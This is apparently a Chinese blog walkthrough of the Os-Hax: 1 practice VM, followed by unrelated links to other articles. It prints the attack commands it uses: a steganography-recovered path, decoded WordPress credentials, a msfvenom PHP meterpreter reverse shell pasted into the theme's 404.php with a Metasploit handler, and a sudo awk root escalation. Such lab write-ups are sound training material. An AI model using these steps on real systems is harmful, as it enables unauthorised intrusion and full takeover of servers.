Os-Hax: 1 靶机记录
靶机地址:172.16.1.197
Kali地址:172.16.1.108
1 信息搜集
靶机首页
相关信息查看
端口扫描:
开放22和80
目录扫描:
访问http://172.16.1.197/css/ ,点击内容没有发现。
访问http://172.16.1.197/html/,同样没有发现;
访问http://172.16.1.197/img,在目录下发现名为flaghost.png的图片
访问http://172.16.1.197/wordpress
发现许多跳转到localhost无法访问,联想图片内容,修改host
vi /etc/hosts
修改后,发现wordpress访问也正常了
Wappalyzer查看相关信息
CMS为wordpress 5.2.5
再次目录扫描,发现目录wp-includes等多个目录
查看目录没有发现敏感信息。
尝试使用wpscan跑一下,没有结果
已知CMS版本,尝试搜索漏洞。网上查看有漏洞,但没有可以直接利用的exp
卡住了。。。。
因为图片名字敏感(我是不会说百度了),继续针对图片猜想。尝试了图片隐写。发现passw@45 字符串。
猜想为密码,使用wordpress默认用户名登录,无果。
猜想为页面目录,访问http://172.16.1.197/passw@45。成功
点击查看flag2.txt,显示一串代码
i+++++ +++++ [->++ +++++ +++<] >++++ +++++ +++++ +++++ .<+++ +[->- ---<]
>--.- --.<+ +++++ [->-- ----< ]>--- -.<++ +[->+ ++<]> +++++ .<+++ ++[->
+++++ <]>.+ +.+++ +++++ .---- --.<+ ++[-> +++<] >++++ .<+++ ++++[ ->---
----< ]>-.< +++[- >---< ]>--- .+.-- --.++ +.<
之前遇到过,直接brainfuck在线解码:https://www.splitbrain.org/services/ook
解码为:web:Hacker@4514
尝试登陆。登陆成功。。。
2 漏洞发现与利用
综合收搜索到的信息:
OS:ubuntu
开放端口:22/80
Web服务器:Apache 2.4.18
脚本语言:PHP
数据库:MySQL
CMS:wordpress 5.2.5
Web登陆账号密码:web:Hacker@4514
由于cms版本未找到可用exp,尝试登陆后进一步发现利用。
WordPress登录后台之后,看能不能修改主题中php文件。
主题中php文件通过菜单栏中Appearance->Theme Editor的404.php来改:
Kali的msfvenom生成webshell,填入404.php中,然后更新文件(Update File)
msfvenom生成shell(kali地址172.16.1.107):
msfvenom -p php/meterpreter/reverse_tcp LHOST=172.16.1.107 LPORT=1234 R > shell.php
将shell.php内容复制到404.php,并更新(去掉最开头的/*,不然浏览器访问反弹shell的php网页会看到/*,并且无法反弹shell)
msfconsole设置接收反弹的shell,依次执行:
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 172.16.1.107
set lport 1234
运行后,访问浏览器访问404.php
http://172.16.1.197/wordpress/wp-content/themes/twentynineteen/404.php
(访问WordPress某个主题下的php页面时,其URL主要部分的格式为/wp-content/themes/主题名称全小写/页面名称。例如,我们刚才修改的主题名称为Twenty Nineteen,访问时只需要修改成twentynineteen即可)
可以看到,成功获取shell
获取shell之后要做的第一件事是使用Python获取一个tty
python -c 'import pty; pty.spawn("/bin/bash")'
3权限提升
习惯性查看www目录,发现文件基本跟web界面看到的一致,没有敏感文件
查看home目录
web下有flag3.txt,打开查看为一串MD5-HASH
40740735d446c27cd551f890030f7c75 无法解密
查看etc下的passwd,发现有web用户
有web账户,尝试切换用户,使用已知的密码登录,成功
因开放有22端口,索性ssh连接
ssh web@172.16.1.197 -p 22
查看信息
sudo -l发现web用户可以执行/usr/bin/awk命令,直接提权到root
sudo /usr/bin/awk 'BEGIN {system("/bin/bash")}'
切换root目录,显示完成
Os-Hax: 1 靶机记录的更多相关文章
- kioptrix靶机记录
靶机地址:172.16.1.193 Kali地址:172.16.1.107 首页为Apache测试页,没看到有价值信息 尝试目录扫描: 点击查看: http://172.16.1.193/index. ...
- Python中os模块使用方法
os模块提供了对系统环境.文件.目录等操作系统级的接口函数.本文主要描述os模块和os.path模块常用函数以及常用实例. os模块函数 os.getcwd() 获取当前工作的目录. os.listd ...
- Python os.walk() 遍历出当前目录下的文件夹和文件
os.walk目录遍历 os.walk的参数如下: os.walk(top, topdown=True, onerror=None, followlinks=False) 其中: - top是要遍历的 ...
- Python os.walk() 简介
Table of Contents 1. os.walk目录遍历 1.1. os.walk 1.2. 例子 1.2.1. 测试topdown 1.2.2. 运行时修改遍历目录 2. 参考资料 os.w ...
- Gin 框架 - 使用 logrus 进行日志记录
目录 概述 日志格式 Logrus 使用 推荐阅读 概述 上篇文章分享了 Gin 框架的路由配置,这篇文章分享日志记录. 查了很多资料,Go 的日志记录用的最多的还是 github.com/sirup ...
- Python的os,shutil和sys模块
*********OS*********** os.sep 可以取代操作系统特定的路径分隔符.windows下为 '\\' os.name 字符串指示你正在使用的平台.比如对于Windows,它是'n ...
- Gin框架 - 使用 Logrus 进行日志记录
概述 上篇文章分享了 Gin 框架的路由配置,这篇文章分享日志记录. 查了很多资料,Go 的日志记录用的最多的还是 github.com/sirupsen/logrus. Logrus is a st ...
- 不到一百行实现一个小siri
想要容易理解核心的特征计算的话建议先去看看我之前的听歌识曲的文章,传送门:http://www.cnblogs.com/chuxiuhong/p/6063602.html 本文主要是实现了一个简单的命 ...
- 听歌识曲--用python实现一个音乐检索器
听歌识曲,顾名思义,用设备"听"歌曲,然后它要告诉你这是首什么歌.而且十之八九它还得把这首歌给你播放出来.这样的功能在QQ音乐等应用上早就出现了.我们今天来自己动手做一个自己的听歌 ...
随机推荐
- vue封装axios
一.安装axios npm install --save axios 二.在src下面创建文件夹api=>api.js(接口集合)+http.js(封装的请求) 三.在main.js中引用api ...
- Activiti7流程定义
一.什么是流程定义 流程定义是线下bpmn2.0标椎去描述业务流程,通常使用activiti-explorer(web控制台)或 activiti-eclipse-designer 插件对业务流程进行 ...
- 巴什博弈 HDU-1846
描述:一堆石子有 n 个 ,两个人开始轮流取,每人最多取m个,最少取1个,最后一个将石子取完的是赢家. 思路:对于先手来说,如果有(m+1)个石子,先手取 k 个,后手就可以取 m+1-k 个,所以有 ...
- RabbitMQ AMQP 事务机制
1,在之前的文章中介绍了RabbitMQ的五种队列形式 其中,在工作队列中,为了保证消费者的公平性,采用了channel.basicQos(1),保证了每次只发一条消息给消费者消费,并且使用手动签收的 ...
- 通用mapper常用注解
通用mapper的作用: 自动实现单表的增删改查 常用注解使用 @Table 作用:建立实体类和数据库表之间的对应关系. 默认规则:实体类类名首字母小写作为表名.Employee 类→employee ...
- B. Kvass and the Fair Nut
B. Kvass and the Fair Nut time limit per test 1 second memory limit per test 256 megabytes input sta ...
- Linux操作系统及调用接口
Linux操作系统包含以下各子系统: 系统调用子系统:操作系统的功能调用同一入口: 进程管理子系统:对执行程序进行生命周期和资源管理: 内存管理子系统:对系统的内存进行管理.分配.回收.隔离: 文件子 ...
- DALI开关
DALI开关简介 一:符合协议IEC 62386 二:DALI总线取电,低压操作,安全可靠 三:可以开,关,调光,调色温 四:DALI总线取电,低压操作,安全可靠 五:可按压开,关,旋转调光,调光器耐 ...
- 配置一个mariadb数据库《二》
mariadb 配置一个数据库 案例4:配置一个数据库 4.1 问题 本例要求在虚拟机 ...
- Linux基础:Day04
进程管理1.操作系统基础 调用:kernel通过给应用程序提供system call方式来提供硬件资源: 注意:这个应用程序也包括库文件: 库文件是运行在ring 0上的一段程序代码,不对客户直接 ...